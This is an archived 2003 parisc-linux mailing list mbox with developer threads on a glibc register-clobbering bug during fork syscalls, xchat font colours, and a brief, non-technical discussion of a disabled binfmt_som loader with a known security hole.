Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 16:44:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AE4F4877
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Aug 2003 16:44:10 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id SAA29829;
	Fri, 29 Aug 2003 18:44:03 -0400 (EDT)
In-Reply-To: <200308292203.SAA03224@hiauly3.hia.nrc.ca> from John David Anglin at Aug "29," 2003 "06:03:00" pm
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19402

> > __asm(
> > 0x4000883c:     be,l 100(sr2,r0),%sr0,%r31
> > 0x40008840:     ldi 2,r20                    !! FORK !!
> > );
> > 0x40008844:     ldi -1000,r20 <--Corrupted--- r19 = 0x10106368

Looking at the kernel syscall code, it seems at first glance that
r19 is saved and restored.  Thus, the problem may be specific to fork.

Dave


From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: xchat colors
Date: Fri, 29 Aug 2003 23:06:28 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20030830050628.GA5649@dsl2.external.hp.com>
References: <W9958529574305441060899998@webmail4> <20030815061601.GD2989@dsl2.external.hp.com> <20030815063718.GD16974@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622743 30557 80.91.229.3 (22 Nov 2014 02:19:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:03 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 29 23:06:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E6D254868; Fri, 29 Aug 2003 23:06:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030815063718.GD16974@lug-owl.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19403

On Fri, Aug 15, 2003 at 08:37:18AM +0200, Jan-Benedict Glaw wrote:
> Unstable's current XFree (4.2.1.1) "RENDER" extension (used for
> anti-aliasing IIRC) takes a _lot_ of colors for it's own (rumors I
> heared talked about > 200 IIRC)...

On this note I want to share solving my last problem with xchat
and 8-bit TrueColor. C3k doesn't have anything better at the moment.

The "couriour new" font was getting mangled colors as part of the
effort to anti-alias (what I assume is) a true-type or re-sized font.
Picking a bitmap font like "fixed" too take care of this.
Nice readable letters all in white.

hth,
grant


From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Security Hole in binfmt_som.c ?
Date: Sat, 30 Aug 2003 14:42:37 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3F509BBD.2040007@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622744 30559 80.91.229.3 (22 Nov 2014 02:19:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 06:42:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC1C04856
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 06:42:42 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024129.dialin.heagmedianet.de [213.157.24.129])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h7UCgXGY027052
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 14:42:38 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19404

Hi there,

when compiling the new 2.4.22-kernel I get an errror message:
------------>><<---------------
gcc -D__KERNEL__ -I/usr/src/linux-2.4/include -Wall -Wstrict-prototypes 
-Wno-tri
graphs -O2 -fno-strict-aliasing -fno-common -D__linux__ -pipe 
-fno-strength-redu
ce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs 
-ffunction-sections -m
arch=1.1 -mschedule=7100LC   -nostdinc -I 
/usr/lib/gcc-lib/hppa-linux/3.3.1/incl
ude -DKBUILD_BASENAME=binfmt_som  -c -o binfmt_som.o binfmt_som.c
binfmt_som.c:216:2: #error "Fix security hole before enabling me"
make[2]: *** [binfmt_som.o] Fehler 1
make[2]: Leaving directory `/usr/src/linux-2.4/fs'
make[1]: *** [first_rule] Fehler 2
make[1]: Leaving directory `/usr/src/linux-2.4/fs'
make: *** [_dir_fs] Fehler 2
------------>><<---------------
What's this message about?
Kernel .config is built by make oldconfig.

Greetings, Ruediger



From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Security Hole in binfmt_som.c ?
Date: Sat, 30 Aug 2003 14:15:41 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030830131541.GI13467__7318.47619540549$1416622744$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3F509BBD.2040007@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622744 30562 80.91.229.3 (22 Nov 2014 02:19:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 07:15:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1057485F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 07:15:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19t5Zt-0001gL-UZ; Sat, 30 Aug 2003 14:15:41 +0100
Content-Disposition: inline
In-Reply-To: <3F509BBD.2040007@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19405

On Sat, Aug 30, 2003 at 02:42:37PM +0200, Ruediger Scholz wrote:
> binfmt_som.c:216:2: #error "Fix security hole before enabling me"
> What's this message about?

I don't know.  I wish someone would tell me.  You'd think they'd have the
decency to contact the person listed as the author at the top of the file.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Security Hole in binfmt_som.c ?
Date: Sat, 30 Aug 2003 14:49:50 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <1062251389.31150.4.camel__1923.72952956266$1416622744$gmane$org@dhcp23.swansea.linux.org.uk>
References: <3F509BBD.2040007@hrzpub.tu-darmstadt.de>
	 <20030830131541.GI13467@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622744 30564 80.91.229.3 (22 Nov 2014 02:19:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:04 +0000 (UTC)
Cc: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 07:50:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (pc1-cwma1-5-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1370E4872
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 07:50:48 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9) with ESMTP id h7UDnqra031176;
	Sat, 30 Aug 2003 14:49:52 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.9/8.12.9/Submit) id h7UDno85031174;
	Sat, 30 Aug 2003 14:49:50 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030830131541.GI13467@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.4.4 (1.4.4-4) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19406

On Sad, 2003-08-30 at 14:15, Matthew Wilcox wrote:
> On Sat, Aug 30, 2003 at 02:42:37PM +0200, Ruediger Scholz wrote:
> > binfmt_som.c:216:2: #error "Fix security hole before enabling me"
> > What's this message about?
> 
> I don't know.  I wish someone would tell me.  You'd think they'd have the
> decency to contact the person listed as the author at the top of the file.

Actually explanations were posted in the previous discussion on this on
parisc-list.

Someone has to do the equivalent of the 2.4.22 binfmt_elf changes if
neccessary so that another thread can't change the file handles or 
steal the exec fd being passed to the loader.



From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Security Hole in binfmt_som.c ?
Date: Sat, 30 Aug 2003 14:59:33 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20030830135933.GJ13467__7897.03131090409$1416622745$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3F509BBD.2040007@hrzpub.tu-darmstadt.de> <20030830131541.GI13467@parcelfarce.linux.theplanet.co.uk> <1062251389.31150.4.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622745 30567 80.91.229.3 (22 Nov 2014 02:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:05 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 07:59:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11E984873
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 07:59:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19t6GL-0001wD-6j; Sat, 30 Aug 2003 14:59:33 +0100
Content-Disposition: inline
In-Reply-To: <1062251389.31150.4.camel@dhcp23.swansea.linux.org.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19407

On Sat, Aug 30, 2003 at 02:49:50PM +0100, Alan Cox wrote:
> On Sad, 2003-08-30 at 14:15, Matthew Wilcox wrote:
> > On Sat, Aug 30, 2003 at 02:42:37PM +0200, Ruediger Scholz wrote:
> > > binfmt_som.c:216:2: #error "Fix security hole before enabling me"
> > > What's this message about?
> > 
> > I don't know.  I wish someone would tell me.  You'd think they'd have the
> > decency to contact the person listed as the author at the top of the file.
> 
> Actually explanations were posted in the previous discussion on this on
> parisc-list.

Um, I can't find it, and neither can Google:
http://www.google.com/search?q=binfmt_som+security&as_q=%5Bparisc-linux&btnG=Google+Search&as_sitesearch=lists.parisc-linux.org

> Someone has to do the equivalent of the 2.4.22 binfmt_elf changes if
> neccessary so that another thread can't change the file handles or 
> steal the exec fd being passed to the loader.

Hm, ok, I'll take a look later this weekend if no-one gets to it first.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Sat, 30 Aug 2003 11:35:17 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <20030830153516.GD5194@systemhalted>
References: <20030829200400.GF19341@systemhalted> <200308292203.SAA03224@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622745 30568 80.91.229.3 (22 Nov 2014 02:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:05 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 09:36:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 369254880
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 09:36:47 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19t7kz-0002Iv-00; Sat, 30 Aug 2003 11:35:17 -0400
Content-Disposition: inline
In-Reply-To: <200308292203.SAA03224@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19408

Dave,

> An asm will not cause the restoration of %r19.  The compiler treats
> r19 as a fixed register when generating pic code.  The saving and
> restoring of the pic register across calls is something that the pa
> port does itself in the backend.  Clobbering r19 won't cause it
> to be restored.

I thought that listing it in the clobber would be the solution.

> In the case of syscalls, the compiler has no way of telling that
> you are making a "call".

Yes, glibc has begun using inlined macros rather than incuring the
penalty of a function call to get at the syscall. I _could_ cheat and
make the inlined code call a 'C' function which would force a restore,
but we then have _many_ more insn on the fast path (rather than just a
stw and ldw).
 
> > 0x40008838:     copy r4,r19  <---Restore----- r19 = 0x40020718
> 
> This is a restore after a call.

Correct. This is a delayed restore from a previous call.
 
> > __asm(
> > 0x4000883c:     be,l 100(sr2,r0),%sr0,%r31
> > 0x40008840:     ldi 2,r20                    !! FORK !!
> > );
> > 0x40008844:     ldi -1000,r20 <--Corrupted--- r19 = 0x10106368
> 
> There is no save and restore around the syscall as GCC doesn't know
> the asm does a call.  Clobbering r19 isn't an option in PIC code.
> Thus, either the syscall has to save and restore r19, or the kernel
> has to avoid clobbering r19.

I would vote for having the kernel avoid trashing r19, though that means
that the kernel has to do the stw/ldw, and wouldn't it be more
beneficial to do this in userspace and allow the kernel an extra
register to generate code with?
 
> You should be able to use a register.  The problem is how to do this
> in a nice way so that you don't have to save and restore r19 in non-pic
> code.

Glibc tells me if I'm in PIC code by setting -DPIC on the command line.
I'm planning on using "ifdef PIC" to optimize away the save and restore.
The issue really is that most programs are dynamically linked against
libc, and thus all their syscalls have to save and restore r19.
 
> Ouch, I am surprised that this hasn't had a bigger effect.

Me too. I really see this as a "We should have been doing this anyway"
and we aren't going to get away from this.

c.


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Sat, 30 Aug 2003 12:15:04 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20030830161504.GE5194@systemhalted>
References: <200308292203.SAA03224@hiauly3.hia.nrc.ca> <200308292244.SAA29829@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622745 30571 80.91.229.3 (22 Nov 2014 02:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:05 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 10:16:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC4E94889
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 10:16:33 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19t8NV-0003g2-00; Sat, 30 Aug 2003 12:15:05 -0400
Content-Disposition: inline
In-Reply-To: <200308292244.SAA29829@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19409

On Fri, Aug 29, 2003 at 06:44:03PM -0400, John David Anglin wrote:
> > > __asm(
> > > 0x4000883c:     be,l 100(sr2,r0),%sr0,%r31
> > > 0x40008840:     ldi 2,r20                    !! FORK !!
> > > );
> > > 0x40008844:     ldi -1000,r20 <--Corrupted--- r19 = 0x10106368
> 
> Looking at the kernel syscall code, it seems at first glance that
> r19 is saved and restored.  Thus, the problem may be specific to fork.

The first place I went to was syscall.S and entry.S to see if r19 was
saved and restored. It is infact saved and restored, _but_ there seems
to be a case in the sys_fork_wrapper where r19 is written back as a temp
slot (PT_XX struct).

linux-2.4/arch/parisc/kernel/entry.S

   2004         /* These are call-clobbered registers and therefore
   2005            also syscall-clobbered (we hope). */
   2006         STREG   %r2,PT_GR19(%r1)        /* save for child */
   2007         STREG   %r30,PT_GR21(%r1)

This is done just before the call to 'sys_clone', but it's never used
anywhere. The comment indicates that the author believed he had all
right to use caller saves registers, and they should.

Aflicted: sys_fork_wrapper, sys_clone_wrapper, sys_vfork_wrapper

I'm tempted to remove the store and load of call-clobbered registers
from our syscall path, push them into the glibc wrappers, and see what 
happens :)

c.



From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] fixing delayed exceptions in hppa
Date: Sat, 30 Aug 2003 12:37:33 -0400
Lines: 183
Approved: news@gmane.org
Message-ID: <20030830163732.GG5194@systemhalted>
References: <20030823055506.GA9821@systemhalted> <200308231612.MAA21233@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622745 30573 80.91.229.3 (22 Nov 2014 02:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca,
	Matthew Wilcox <willy@debian.org>
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 30 10:39:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C559488D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 30 Aug 2003 10:39:01 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19t8jF-00049b-00; Sat, 30 Aug 2003 12:37:33 -0400
Content-Disposition: inline
